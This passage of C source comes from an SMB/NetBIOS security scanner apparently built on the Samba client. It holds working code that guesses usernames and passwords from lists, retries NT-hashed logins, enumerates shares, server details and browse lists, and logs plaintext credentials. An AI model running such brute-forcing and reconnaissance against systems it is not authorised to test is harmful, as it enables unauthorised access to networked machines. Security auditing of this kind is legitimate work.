	/* for Win95 */
	set_message(outbuf,13,0,True);
	CVAL(outbuf,smb_com) = SMBsesssetupX;
	setup_pkt(outbuf);

	CVAL(outbuf,smb_vwv0) = 0xFF;
	SSVAL(outbuf,smb_vwv2,BUFFER_SIZE);
	SSVAL(outbuf,smb_vwv3,2);
/* SCANNER: xxx: */
	SSVAL(outbuf,smb_vwv4,getpid());
	SIVAL(outbuf,smb_vwv5,sesskey);
	SSVAL(outbuf,smb_vwv7,passlen);
	SSVAL(outbuf,smb_vwv8,0);
	p = smb_buf(outbuf);
	memcpy(p,pword,passlen); p += SVAL(outbuf,smb_vwv7);

/*
 *  SCANNER: oops -- *set* vwv8, it's taken as NT-passwd-len on server end!!
 *  Used by samba / reply.c / reply_sesssetupX to cmp against NT-MD4
 *  Documented in CIFS, too -- "case sensitive passwd length" 
 */

/*
 *  a more recent discovery: it *DOES* have to be unicode; make it so.
 *  One sleaze, a-comin' up ...
 *  XXX SCANNER STEPPING and a host of other chinese words:
 *  we now know what to do here.  Don't mung vwv7 len, it's okay.  Either make
 *  vwv8 be 0 so vwv7 is used [aka passlen-- before inserting it] , or make
 *  vwv8 the real unicode len and bust a plaintext password apart into
 *  unicode here.  Is there a handy unicoder routine???  there should be..
 *  for now, let's just leave vwv8 zeroed unless we're encrypting; lanman
 *  plaintext passwd will take care of it *and* reduce the keyspace. 
 */

#define USE_V8 1	/* XXX -- clean this up.. */
#if USE_V8
	if (!doencrypt) passlen = 0;
	SSVAL(outbuf,smb_vwv8,passlen);	/* always 24? [?] */

/*
 *  also have to put appropriate response in corresponding field, even if it's
 *  the same 24 crypted-bytes.  XXX: out-n-out *wrong* for the first shot
 *  since it was encrypted LM-style! 
 */

	memcpy (p, pword, passlen); p += SVAL (outbuf, smb_vwv8);

/*
 *	memset (p, 0, 24);  p += SVAL (outbuf, smb_vwv8); 
 */

#endif /* USE_V8 */

/*
 * XXX: this following cruft is all s'posed to be UNICODE!  but probably
 * depends on flags2/0x8000 ...  
 */

	strcpy(p,username);p = skip_string(p,1);
	strcpy(p,workgroup);p = skip_string(p,1);

/* SCANNER: xxx: */

	strcpy(p,"Unix");p = skip_string(p,1);
	strcpy(p,"Samba");p = skip_string(p,1);
	set_message(outbuf,13,PTR_DIFF(p,smb_buf(outbuf)),False);
      } /* PROTOCOL_NT1 */

      send_smb(Client,outbuf);
      x = receive_smb(Client,inbuf,CLIENT_TIMEOUT);

      /*
       * XXX: need some other indicator that the net's hung, so step() bails 
       */

      if (x == 0) {				/* fukt connection? */
	DEBUG(0,("setupX reply failed\n"));
	return (False);
      }

      show_msg(inbuf);

#ifdef SCANNER
#ifdef SMB_PASSWD

/*
 * maybe try the NT-mode passwd.  This is a total hack; shd be done better 
 */

/*
 * XXX: I'm not even sure if vwv8 *is* the right param to send it in, although
 * testing does seem to prove that out.  Furthermore, even NULL passwords
 * have to be sent as hashed/encrypted P24 blocks.  Feh. 
 */

      if ((CVAL(inbuf,smb_rcls) != 0) && (Protocol >= PROTOCOL_NT1)
		&& doencrypt) {
	SMBNTencrypt(pass,cryptkey,pword);
	p = smb_buf (outbuf);		/* hopefully we can just diddle */
	memcpy (p, pword, passlen);	/* the crypto-response in-place, */
#if USE_V8
	p += passlen;
	memcpy (p, pword, passlen);	/* *TWICE* ... sheesh */
#endif
	send_smb (Client, outbuf);	/* and resend the changed packet */
	x = receive_smb (Client, inbuf, CLIENT_TIMEOUT);
	if (x == 0)
	  return (False);
	show_msg (inbuf);
      } /* if err & NT-mode & doencrypt */
/* and fall out to regular error handling with new response */
#endif /* SMB_PASSWD */
#endif /* SCANNER */

      if (CVAL(inbuf,smb_rcls) != 0)
	{
	  DEBUG(2,("%s/%s: session: %s\n", username, pass, smb_errstr(inbuf)));
	  cur_serr = interpret_serr
		(CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
	  return(False);
	} /* rcls != 0 */
/* we're in, we think */
      if ((SVAL (inbuf, smb_vwv2)) & 1)		/* mentioned in CIFS, but */
	DEBUG (0,("GUEST-mode "));		/* never seems to happen */
      DEBUG(0,("session established as %s/%s\n", username, pass));
#if 0
/* done externally */
      if (read_pass && (sec_mode & 1))
	exit (0);
#endif
#endif /* SCANNER */

/* SCANNER: this stuff is in the response regardless of protocol level! */
#ifdef SCANNER
      {					/* we're already "if >= LANMAN1" */
#else
      if (Protocol >= PROTOCOL_NT1) {
#endif /* SCANNER */
	char *domain,*os,*lanman;
	p = smb_buf(inbuf);
	os = p;
	lanman = skip_string(os,1);
	domain = skip_string(lanman,1);
	if (*domain || *os || *lanman) {
	  DEBUG(1,("Domain=[%s] OS=[%s] Server=[%s]\n",domain,os,lanman));
#ifdef SCANNER
/* what the hell, collect some of this info too */
	  cur_vuln = 182;
	  fill_vuln ("Domain: ", domain);
	  fill_vuln ("OS: ", os);
#endif
	} /* if dom/os/srv */
      }

      /* use the returned uid from now on */
/* SCANNER: unless we reset it later... */
      if (SVAL(inbuf,smb_uid) != uid)
	DEBUG(3,("Server gave us a UID of %d. We gave %d\n",
	      SVAL(inbuf,smb_uid),uid));
      uid = SVAL(inbuf,smb_uid);
    } /* >= LANMAN1 */
  return (True);
} /* send_setup */

static BOOL send_tcon (char *inbuf,char *outbuf)
{
  char * pass = password;
  pstring dev;
  register char * p;
  register int x;
  int passlen = strlen(pass)+1;		/* moved from inside "again2" ctx */
  fstring pword;			/* moved from inside "again2" ctx */

#if AJT
  if (strstr(service,"IPC$")) connect_as_ipc = True;
#endif

  strcpy(dev,"A:");
  if (connect_as_printer)
    strcpy(dev,"LPT1:");
  if (connect_as_ipc)
    strcpy(dev,"IPC");

/* SCANNER: should split all this into separate functions for
   sessreq / dialect / sesssetupX / tcon, that all take uname/pw args.
   ... hmm, above looks like pre-lanman1 didn't use sesssetup??? */

  /* now we've got a connection - send a tcon message */
  bzero(outbuf,smb_size);

  if (strncmp(service,"\\\\",2) != 0)
    {
      DEBUG(0,("\nWarning: Your service name doesn't start with \\\\. This is probably incorrect.\n"));
      DEBUG(0,("Perhaps try replacing each \\ with \\\\ on the command line?\n\n"));
    }

/* XXX: old again2: local-context silliness */
  {
    strcpy(pword,pass);

    /* if in user level security then don't send a password now */
    if ((sec_mode & 1)) {
      strcpy(pword, ""); passlen=1; 
    } else
/* only do encryption if we're gonna use it. */
/* XXX: does this work if encrypted-mode but NULL passwd??!?!? */
/* looks like it punts, or zero-fills the resp, if null passwd */
#ifdef SMB_PASSWD
      if (doencrypt && *pass) {
	passlen=24;
	SMBencrypt(pass,cryptkey,pword);      
      }
#endif
    ; /* possibly null else */

    set_message(outbuf,4,2 + strlen(service) + passlen + strlen(dev),True);
    CVAL(outbuf,smb_com) = SMBtconX;
    setup_pkt(outbuf);

    SSVAL(outbuf,smb_vwv0,0xFF);
    SSVAL(outbuf,smb_vwv3,passlen);

    p = smb_buf(outbuf);
    memcpy(p,pword,passlen);
    p += passlen;
    strcpy(p,service);
    p = skip_string(p,1);
    strcpy(p,dev);
  } /* again2 ctx */

  send_smb(Client,outbuf);
  x = receive_smb(Client,inbuf,CLIENT_TIMEOUT);
/* XXX: need some other indicator that the net's hung, so step() bails */
  if (x == 0) {				/* fukt connection? */
    DEBUG(0,("tcon reply failed\n"));
    return (False);
  }

/* blank-passwd retry ripped; handled externally now */

#ifdef SCANNER
#ifdef SMB_PASSWD
/* maybe try the NT-mode passwd, exactly as done in send_setup */
/* XXX: this code currently trashes the buffer; need to fix like send_setup */
/* XXX: does NT use an alternate field for SHARE-level passwds?? */
      if ((CVAL(inbuf,smb_rcls) != 0) && (Protocol >= PROTOCOL_NT1)
	  && doencrypt) {
	SMBNTencrypt(pass,cryptkey,pword);
	p = smb_buf (outbuf);		/* hopefully we can just diddle */
	memcpy (p, pword, passlen);	/* the crypto-response in-place, */
	send_smb (Client, outbuf);	/* and resend the changed packet */
	x = receive_smb (Client, inbuf, CLIENT_TIMEOUT);
	if (x == 0)
	  return (False);
	show_msg (inbuf);
      } /* if err & NT- mode & doencrypt */
/* and fall out to regular error handling with new response */
#endif /* SMB_PASSWD */
#endif /* SCANNER */

  if (CVAL(inbuf,smb_rcls) != 0)
    {
#ifndef SCANNER
      DEBUG(0,("SMBtconX failed. %s\n",smb_errstr(inbuf)));
      DEBUG(0,("Perhaps you are using the wrong sharename, username or password?\n"));
      DEBUG(0,("Some servers insist that these be in uppercase\n"));
      return(False);
    }
#else
      DEBUG(2,("%s/%s: %s: %s\n", username, pass, service, smb_errstr(inbuf)));
      cur_serr = interpret_serr
		(CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
/* this "can't happen" but does against misconfigured samba, fer example */
      if ((cur_serr == 2) && (sec_mode & 1))
	DEBUG (1,("Wanted TCon passwd in USER-mode sec?!??!\n"));
      return(False);
    } /* if smb_rcls err */

/* we're in */
    DEBUG(0,("tcon %s connected as %s/%s\n", service, username, pass));
#if 0
/* done externally */
      if (read_pass && !(sec_mode & 1))
	exit (0);
#endif
#endif /* SCANNER */

  max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
  if (max_xmit <= 0)
    max_xmit = BUFFER_SIZE - 4;

  cnum = SVAL(inbuf,smb_tid);

/* could this actually happen?? */
  if (cnum == 0) {
    DEBUG (0,("OOPS! opened tcon, but Tree-ID is zero?!?!\n"));
    return (False);
  }
  DEBUG(3,("Connected with cnum=%d max_xmit=%d\n",cnum,max_xmit));

  return True;
} /* send_tcon */

/*
 * stepped version of send_login, for compat with the old one
 */
static BOOL send_login(char *inbuf,char *outbuf,BOOL start_session,
                       BOOL use_setup)
{
  fstring dev;
  register BOOL x;
  BOOL was_null = (!inbuf && !outbuf);
  if (was_null)
    {
      inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
      outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
    }
  x = 0;
  if (read_pass)
    DEBUG (0,("Reading passwords from stdin...\n"));

  /*
   * just wade through the nice other steps we've set up, but calling uppair
   * whenever it seems to want a password 
   */
  if (start_session && !send_session_request(inbuf,outbuf))
    goto lame_bailout;
  if (!send_prots (inbuf, outbuf))
    goto lame_bailout;
sl_setx:
  cur_serr = 0;
  if (use_setup && !send_setup (inbuf, outbuf)) {
    if ((cur_serr == 2) && uppair())
      goto sl_setx;
    goto lame_bailout;
  }
sl_tcon:
  cur_serr = 0;
  if (!send_tcon (inbuf, outbuf)) {
    if ((cur_serr == 2) && uppair())
      goto sl_tcon;
    goto lame_bailout;
  }
  x = 1;				/* we're in */

lame_bailout:
  if (was_null)
    {
      free(inbuf);
      free(outbuf);
    }
  if (read_pass)
    exit (0);
  return x;
}

/*
 * send_logout minus the connection teardown -- just send SMBTdis.
 */
static void send_tdis (char * inbuf, char * outbuf)
{
  bzero(outbuf,smb_size);
  set_message(outbuf,0,0,True);
  CVAL(outbuf,smb_com) = SMBtdis;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  if (cnum == 0) return;

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,SHORT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
    {
      DEBUG(3,("SMBtdis failed %s\n",smb_errstr(inbuf)));
    }
  cnum = 0;
} /* send_tdis */

/*
 * Send a logout command
 */
static void send_logout(void )
{
  pstring inbuf,outbuf;

  bzero(outbuf,smb_size);
  set_message(outbuf,0,0,True);
  CVAL(outbuf,smb_com) = SMBtdis;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  if (cnum == 0) return;
  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,SHORT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0)
      DEBUG(0,("SMBtdis failed %s\n",smb_errstr(inbuf)));

#ifdef STATS
  stats_report();
#endif
  exit(0);
}

/*
 * Call a remote api
 */
static BOOL call_api(int prcnt,int drcnt,
		     int mprcnt,int mdrcnt,
		     int *rprcnt,int *rdrcnt,
		     char *param,char *data,
		     char **rparam,char **rdata)
{
  static char *inbuf=NULL;
  static char *outbuf=NULL;

  if (!inbuf) inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  if (!outbuf) outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);

  send_trans_request(outbuf,SMBtrans,"\\PIPE\\LANMAN",0,0,
		     data,param,NULL,drcnt,prcnt,0,
		     mdrcnt,mprcnt,0);

  return (receive_trans_response(inbuf,SMBtrans,rdrcnt,rprcnt,rdata,rparam));
}

/*
 * Send a SMB trans or trans2 request
 */
static BOOL send_trans_request(char *outbuf,int trans,
			       char *name,int fid,int flags,
			       char *data,char *param,uint16 *setup,
			       int ldata,int lparam,int lsetup,
			       int mdata,int mparam,int msetup)
{
  int i;
  int this_ldata,this_lparam;
  int tot_data=0,tot_param=0;
  char *outdata,*outparam;
  pstring inbuf;
  char *p;

  this_lparam = MIN(lparam,max_xmit - (500+lsetup*SIZEOFWORD)); /* hack */
  this_ldata = MIN(ldata,max_xmit - (500+lsetup*SIZEOFWORD+this_lparam));

  bzero(outbuf,smb_size);
  set_message(outbuf,14+lsetup,0,True);
  CVAL(outbuf,smb_com) = trans;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  outparam = smb_buf(outbuf)+(trans==SMBtrans ? strlen(name)+1 : 3);
  outdata = outparam+this_lparam;

  /* primary request */
  SSVAL(outbuf,smb_tpscnt,lparam);	/* tpscnt */
  SSVAL(outbuf,smb_tdscnt,ldata);	/* tdscnt */
  SSVAL(outbuf,smb_mprcnt,mparam);	/* mprcnt */
  SSVAL(outbuf,smb_mdrcnt,mdata);	/* mdrcnt */
  SCVAL(outbuf,smb_msrcnt,msetup);	/* msrcnt */
  SSVAL(outbuf,smb_flags,flags);	/* flags */
  SIVAL(outbuf,smb_timeout,0);		/* timeout */
  SSVAL(outbuf,smb_pscnt,this_lparam);	/* pscnt */
  SSVAL(outbuf,smb_psoff,smb_offset(outparam,outbuf)); /* psoff */
  SSVAL(outbuf,smb_dscnt,this_ldata);	/* dscnt */
  SSVAL(outbuf,smb_dsoff,smb_offset(outdata,outbuf)); /* dsoff */
  SCVAL(outbuf,smb_suwcnt,lsetup);	/* suwcnt */
  for (i=0;i<lsetup;i++)		/* setup[] */
    SSVAL(outbuf,smb_setup+i*SIZEOFWORD,setup[i]);
  p = smb_buf(outbuf);
  if (trans==SMBtrans)
    strcpy(p,name);		/* name[] */
  else
    {
      *p++ = 0;			/* put in a null smb_name */
      *p++ = 'D'; *p++ = ' ';	/* this was added because OS/2 does it */
    }
  if (this_lparam)			/* param[] */
    memcpy(outparam,param,this_lparam);
  if (this_ldata)			/* data[] */
    memcpy(outdata,data,this_ldata);
  set_message(outbuf,14+lsetup,		/* wcnt, bcc */
	      PTR_DIFF(outdata+this_ldata,smb_buf(outbuf)),False);

  show_msg(outbuf);
  send_smb(Client,outbuf);

  if (this_ldata < ldata || this_lparam < lparam)
    {
      /* receive interim response */
      if (!receive_smb(Client,inbuf,SHORT_TIMEOUT) || CVAL(inbuf,smb_rcls) != 0)
	{
	  DEBUG(0,("%s request failed (%s)\n",
	           trans==SMBtrans?"SMBtrans":"SMBtrans2", smb_errstr(inbuf)));
	  return(False);
	}      

      tot_data = this_ldata;
      tot_param = this_lparam;

      while (tot_data < ldata || tot_param < lparam) {
	  this_lparam = MIN(lparam-tot_param,max_xmit - 500); /* hack */
	  this_ldata = MIN(ldata-tot_data,max_xmit - (500+this_lparam));

	  set_message(outbuf,trans==SMBtrans?8:9,0,True);
	  CVAL(outbuf,smb_com) = trans==SMBtrans ? SMBtranss : SMBtranss2;

	  outparam = smb_buf(outbuf);
	  outdata = outparam+this_lparam;

	  /* secondary request */
	  SSVAL(outbuf,smb_tpscnt,lparam);	/* tpscnt */
	  SSVAL(outbuf,smb_tdscnt,ldata);	/* tdscnt */
	  SSVAL(outbuf,smb_spscnt,this_lparam);	/* pscnt */
	  SSVAL(outbuf,smb_spsoff,smb_offset(outparam,outbuf)); /* psoff */
	  SSVAL(outbuf,smb_spsdisp,tot_param);	/* psdisp */
	  SSVAL(outbuf,smb_sdscnt,this_ldata);	/* dscnt */
	  SSVAL(outbuf,smb_sdsoff,smb_offset(outdata,outbuf)); /* dsoff */
	  SSVAL(outbuf,smb_sdsdisp,tot_data);	/* dsdisp */
	  if (trans==SMBtrans2)
	    SSVAL(outbuf,smb_sfid,fid);		/* fid */
	  if (this_lparam)			/* param[] */
	    memcpy(outparam,param,this_lparam);
	  if (this_ldata)			/* data[] */
	    memcpy(outdata,data,this_ldata);
	  set_message(outbuf,trans==SMBtrans?8:9, /* wcnt, bcc */
		      PTR_DIFF(outdata+this_ldata,smb_buf(outbuf)),False);

	  show_msg(outbuf);
	  send_smb(Client,outbuf);

	  tot_data += this_ldata;
	  tot_param += this_lparam;
	}
    }
    return(True);
}

/*
 * Try and browse available connections on a host
 */
static BOOL browse_host(BOOL sort)
{
#ifdef NOSTRCASECMP
#define strcasecmp StrCaseCmp
#endif
  extern int strcasecmp();

  char *rparam = NULL;
  char *rdata = NULL;
  char *p;
  int rdrcnt,rprcnt;
  pstring param;
  int count = -1;

  /* 
   * now send a SMBtrans command with api RNetShareEnum 
   */
  p = param;
  SSVAL(p,0,0); /* api number */
  p += 2;
  strcpy(p,"WrLeh");
  p = skip_string(p,1);
  strcpy(p,"B13BWz");
  p = skip_string(p,1);
  SSVAL(p,0,1);
  SSVAL(p,2,BUFFER_SIZE);
  p += 4;

  if (call_api(PTR_DIFF(p,param),0, 1024,BUFFER_SIZE, &rprcnt,&rdrcnt,
	       param,NULL, &rparam,&rdata)) {
      int res = SVAL(rparam,0);
      int converter=SVAL(rparam,2);
      int i;
      BOOL long_share_name=False;

      if (res == 0) {
#ifdef SCANNER
	  cur_vuln = VULID_SHARELIST;	/* services */
          fill_vuln("Was able to retrieve listing", " of availible services:");
#endif
	  count=SVAL(rparam,4);
	  p = rdata;

#ifdef VERBOSE
          natprintf("\n[*]--- Obtained listing of shares:\n");
#endif

	  if (count > 0) {
	      natprintf("\n\tSharename      Type      Comment\n");
	      natprintf("\t---------      ----      -------\n");
	  }

	  if (sort)
	    qsort(p,count,20,QSORT_CAST strcasecmp);

	  for (i=0;i<count;i++) {
	      char *sname = p;
	      int type = SVAL(p,14);
	      int comment_offset = IVAL(p,16) & 0xFFFF;
	      fstring typestr;
	      *typestr=0;

	      switch (type) {
		case STYPE_DISKTREE:
#ifdef SCANNER
		  if (stepping) {
		    fill_block (try_shares, sname);
		    fill_block (try_users, sname);
		    fill_block (try_pass, sname);
		  }
#endif /* SCANNER */
		  strcpy(typestr,"Disk"); break;
		case STYPE_PRINTQ:
		  strcpy(typestr,"Printer"); break;	      
		case STYPE_DEVICE:
		  strcpy(typestr,"Device"); break;
		case STYPE_IPC:
		  strcpy(typestr,"IPC"); break;      
		}

#ifdef SCANNER
		strcat (typestr, ": ");
		fill_vuln (typestr, sname);
#endif /* SCANNER */
	        natprintf("\t%-15.15s%-10.10s%s\n", sname, typestr,
		     comment_offset?rdata+comment_offset-converter:"");

	        if (strlen(sname)>8) long_share_name=True;
	        p += 20;
	    }
	}
    }

  if (rparam) free(rparam);
  if (rdata) free(rdata);

  return(count>0);
}

/*
 * get some server info
 */
static void server_info()
{
  char *rparam = NULL;
  char *rdata = NULL;
  char *p;
  int rdrcnt,rprcnt;
  pstring param;

  bzero(param,sizeof(param));

  p = param;
  SSVAL(p,0,63); /* api number */
  p += 2;
  strcpy(p,"WrLh");
  p = skip_string(p,1);
  strcpy(p,"zzzBBzz");
  p = skip_string(p,1);
  SSVAL(p,0,10); /* level 10 */
  SSVAL(p,2,1000);
  p += 6;

  if (call_api(PTR_DIFF(p,param),0,
	       6,1000,
	       &rprcnt,&rdrcnt,
	       param,NULL,
	       &rparam,&rdata))
    {
      int res = SVAL(rparam,0);
      int converter=SVAL(rparam,2);

      if (res == 0)
	{
      p = rdata;

#ifdef VERBOSE
      natprintf("\n[*]--- Obtained server information:\n");
#endif

      natprintf("\nServer=[%s] User=[%s] Workgroup=[%s] Domain=[%s]\n",
	     rdata+SVAL(p,0)-converter,
	     rdata+SVAL(p,4)-converter,
	     rdata+SVAL(p,8)-converter,
	     rdata+SVAL(p,14)-converter);
#ifdef SCANNER
      cur_vuln = VULID_SERVERINFO;	/* server info */
      fill_vuln("Was able to obtain server info:", "");
      sprintf (param, "Server %.15s, User %.15s",
	     rdata+SVAL(p,0)-converter,
	     rdata+SVAL(p,4)-converter);
      fill_vuln ("Serverinfo: ", param);
      sprintf (param, "Workgroup %.15s, Domain %.15s",
	     rdata+SVAL(p,8)-converter,
	     rdata+SVAL(p,14)-converter);
      fill_vuln ("Serverinfo: ", param);
#endif /* SCANNER */
    }
  }

  if (rparam) free(rparam);
  if (rdata) free(rdata);

  return;
}

/*
 * try and browse available connections on a host
 */
static BOOL list_servers()
{
  char *rparam = NULL;
  char *rdata = NULL;
  int rdrcnt,rprcnt;
  char *p;
  pstring param;
  int uLevel = 1;
  int count = 0;

  int servertype = SV_TYPE_ALL; 

  /* now send a SMBtrans command with api ServerEnum? */
  p = param;
  SSVAL(p,0,0x68); /* api number */
  p += 2;
  strcpy(p,"WrLehDO");
  p = skip_string(p,1);

  strcpy(p,"B16BBDz");
#if 0
  strcpy(p,getenv("XX_STR2"));
#endif

  p = skip_string(p,1);
  SSVAL(p,0,uLevel);
  SSVAL(p,2,0x2000); /* buf length */
  p += 4;
  SIVAL(p,0,servertype);
  p += 4;

  if (call_api(PTR_DIFF(p,param),0, 8,10000, &rprcnt,&rdrcnt,
	       param,NULL, &rparam,&rdata))
    {
      int res = SVAL(rparam,0);
      int converter=SVAL(rparam,2);
      int i;

      if (res == 0)
	{
	  count=SVAL(rparam,4);
      p = rdata;

      if (count > 0)
	{
	  natprintf("\n[*]--- This machine has a browse list:\n");
	  natprintf("\n\tServer               Comment\n");
	  natprintf("\t---------            -------\n");
	}

#ifdef SCANNER
      cur_vuln = VULID_BROWSELIST;		/* name tables */
      fill_vuln("Was able to obtain browselist:","");
#endif
      for (i=0;i<count;i++)
	{
	  char *sname = p;
	  int comment_offset = IVAL(p,22) & 0xFFFF;
#ifdef SCANNER
	  sprintf (param, "%.16s : %.40s", sname,
		 comment_offset?rdata+comment_offset-converter:"");
	  fill_vuln ("Browselist: ", param);
#endif /* SCANNER */
	  natprintf("\t%-16.16s     %s\n",
		 sname,
		 comment_offset?rdata+comment_offset-converter:"");

	  p += 26;
	}
        natprintf("\n");
    }
    }

  if (rparam) free(rparam);
  if (rdata) free(rdata);

  return(count>0);
}

/*
 * open the client sockets
 */
static BOOL open_sockets(int port )
{
  static int last_port;
  char *host;
  pstring service2;
  extern int Client;

  if (port == 0) port=last_port;
  last_port=port;

  strupper(service);

  if (*desthost)
      host = desthost;
  else {
      strcpy(service2,service);
      host = strtok(service2,"\\/");
      strcpy(desthost,host);
  }

  DEBUG(3,("Opening sockets\n"));

#ifndef SCANNER
  if (*myname == 0)
    {
      get_myname(myname,NULL);
      strupper(myname);
    }
#endif /* SCANNER */

  if (!have_ip) {
      struct hostent *hp;

      if ((hp = Get_Hostbyname(host)) == 0) {
	  DEBUG(0,("Get_Hostbyname: Unknown host %s.\n",host));
	  return False;
      }

      putip((char *)&dest_ip,(char *)hp->h_addr);
  }

  Client = open_socket_out(SOCK_STREAM, &dest_ip, port);
  if (Client == -1)
    return False;

  DEBUG(3,("Connected\n"));

  set_socket_options(Client,user_socket_options);  
  return True;
}

/*
 * close and open the connection again
 */
BOOL reopen_connection(char *inbuf,char *outbuf)
{
  static int open_count=0;

  open_count++;

  if (open_count>5) return(False);

  DEBUG(1,("Trying to re-open connection\n"));

  set_message(outbuf,0,0,True);
  SCVAL(outbuf,smb_com,SMBtdis);
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,SHORT_TIMEOUT);

  close_sockets();
  if (!open_sockets(0)) return(False);

  return(send_login(inbuf,outbuf,True,True));
}

#include <signal.h>

/*
 * oops! closed connection.  Catch the sigpipe and throw off
 * to something that can deal with it.
 */
void busted ()
{
  DEBUG(3,("sigpipe!  restarting...\n"));
  signal (SIGPIPE, SIG_DFL);
} /* busted */

/* 
 *  The step function steps through the various functions required to
 *  login and obtain the required information on NetBIOS security
 *  conditions.
 *
 *  global VARS used:
 *	desthost		victim's netbios name
 *	myname			our system name
 *	stepping		set if doing the stepped-guess thing
 *	cur_port		usually 139, but needed global copy
 *	cur_user		set if valid non-null username
 *	cur_pass		set if we got in somehow
 *	cur_sec_mode		0/1/2/3 depending?
 *	cur_phase		how far we got last time before it blew chow??
 *	upp_ctx			username/passwd guess tables context
 *	doencrypt		obvious
 *	xflag			affects doencrypt
 *	Protocol		highest max_protocol that was reasonable
 *	[try_names list]	filled from nbstat list?  [use for bruting too]
 *	[try_users list]	preloaded and added to from nbstat
 *	[try_pass list]		preloaded and added to from nbstat & shares
 *	[try_shares list]	filled if we got a sharelist
 *	[browses list]		filled from browse dump [use for bruting too]
 */

int step (inbuf, outbuf)
  char * inbuf;
  char * outbuf;
{

#ifdef SCANNER
  fstring test_dir = "\\-NASTY-.$$$";		/* to test write-access */
#endif /* SCANNER */

  int fattr = (aDIR | aSYSTEM | aHIDDEN);	/* for dir attributes */
  char * p;
  register int x;
  register int i;
  int rval = 0;
  int phase = 0;		/* how far we got */
  int done;

/*
 *	0	start, with or without NMB names
 *	1	tcp connected
 *	2	session_request succeeded, trg name in desthost
 *	3	vrfydialect ok, cur_sec_mode set
 *	4	setupX okay [may not happen at all
 *	5	tcon/IPC & trans-api succeeded, got stuff in sharelist block
 *	6	connected to at least one share
 *	7	found various share-related bugs
 *
 * Apparently the server can dump the TCP conn any time, so we have to save the
 * state of progress and be able to quickly resume using info we have already.
 * At least until we get up to where we can start TConning, I think..
 */

/* XXX SCANNER: try to maybe *skip* netbios session_request stuff?? */
/* XXX: TMP for gdb-interactive phase jumping; see what it tolerates */

#define SKIPIT 1

/* 
 * init trial values for things 
 */

  max_protocol = PROTOCOL_COREPLUS;
  Client = -1;
  upp_ctx = 0;
  ptr_names = 0;

  /*
   * establish buffers here, so subroutines don't have to worry 'bout it 
   */

  if (inbuf == NULL)
    inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  if (outbuf == NULL)
    outbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
  if (!inbuf || !outbuf)
    return (-1);

  signal (SIGPIPE, busted);	/* XXX? need recovery routine */

  /*
   * put nmbstatus probe here; fill in more of try_names LL to 16 chars !!
   * fill in some try_users and try_pass from that list, too
   * if can't get nmbstatus, not a problem; start guessing nbnames anyways
   * if send/recv TIMEOUT or write err at any point, restart???
   * scope-guessing here?
   */

#ifdef VERBOSE
  natprintf("[*]--- Obtaining list of remote NetBIOS names\n");
#endif

  name_type = 0;
  p = NULL;
  x = send_status("*");
  if (x)
    goto s_got_names;

  DEBUG (1,("NBSTAT * query failed, making some more guesses\n"));

  /*
   * At this point the server didn't respond with any names.
   * grab some DNS stuff and feed it in, first 
   */

  p = (char *) Get_Hostbyaddr (dest_ip);

  if (p && (p = strtok(p, "."))) {
     fill_block (try_names, p);	/* its bare hostname */

     /*
      * if we're not root further queries are unlikely to work, so punt here 
      */

      if (getuid())
        goto s_got_names;
      x = send_status (p);
      p = strtok (NULL, ".");
      if (p)
        send_status (p);		/* server.BIGCORP.com?? */
  }

/* 
 * XXX: perhaps should rephase this to handle try_scopes block ??
 * Should think about SNMP here, too.  Under some circumstances NT 4.0
 * doesn't respond to "*".  Could be a * blatant violation of rfc1001/1002,
 * but nonetheless it looks like we have to make MORE guesses and hope for
 * the best.
 */

  if (!x) x = send_status ("WORKGROUP");

  if (!x) {
    name_type = 1;
    x = send_status ("\001\002__MSBROWSE__\002");
    name_type = 0;
  }
  if (!x) x = send_status ("DEFAULT");			/* roughly in       */
  if (!x) x = send_status ("SERVER");			/* decreasing order */
  if (!x) x = send_status ("ADMINISTRATOR");		/* of likelihood... */

s_got_names:
  fill_block (try_names, "*SMBSERVER");
  fill_block (try_names, "SMBSERVER");
  fill_block (try_names, "*               ");
  name_type = 0x20;			/* for normal sessions */

/*
 * Phase 0 opens a connection to the specified host
 */

phase_0:				/* get a TCP connection */

  phase = 0;
  rval = 0;
  close_sockets();
  if (open_sockets (cur_port))
    phase++;

  if (phase != 1)			/* if we can't talk to 139, */
    goto nope;				/* pretty much give up here... */
  rval = 1;

/*
 *  Phase 1 does initial protocol negotiation - setting up the session
 *  with what we think is the remote hosts's netbios name
 */
 
phase_1:				/* pass the wacky rfc1002 stuff */

#ifdef SKIPIT
  if (phase == 2)
    goto phase_2;
#endif /* SKIPIT */

  p = get_block (try_names, ptr_names);
  if (p == NULL) {
    if (name_type == 0)
      goto nope;			/* really exhausted namelist, punt */
    name_type = 0;			/* retry names w/o trailing space */
    ptr_names = 0;
    DEBUG (1,("retrying session-names with type 0...\n"));
    goto phase_0;
  }
  strcpy (desthost, p);

#ifdef VERBOSE
  natprintf("\n[*]--- Attempting to connect with name: %s\n", p);
#endif

  x = send_session_request (inbuf, outbuf);
  if (x == 1) {

#ifdef VERBOSE
    natprintf("[*]--- CONNECTED with name: %s\n", p);
#endif

    DEBUG(0,("session to %s (0x%x) open\n", desthost, name_type));
    phase = 2;
    goto phase_2;
  } else {

#ifdef VERBOSE
    natprintf("[*]--- Unable to connect\n");
#endif

    ptr_names++;
    goto phase_0;
  }

  /*
   * Phase 2 does more protocol netgotiation
   */

phase_2:

#ifdef SKIPIT
  if (phase == 3)
    goto phase_3;
#endif /* SKIPIT */

  name_type = 0x20;
  x = send_prots (inbuf, outbuf);

  /*
   * XXX: negprot may just plain fail here, if server wants > CORE
   */

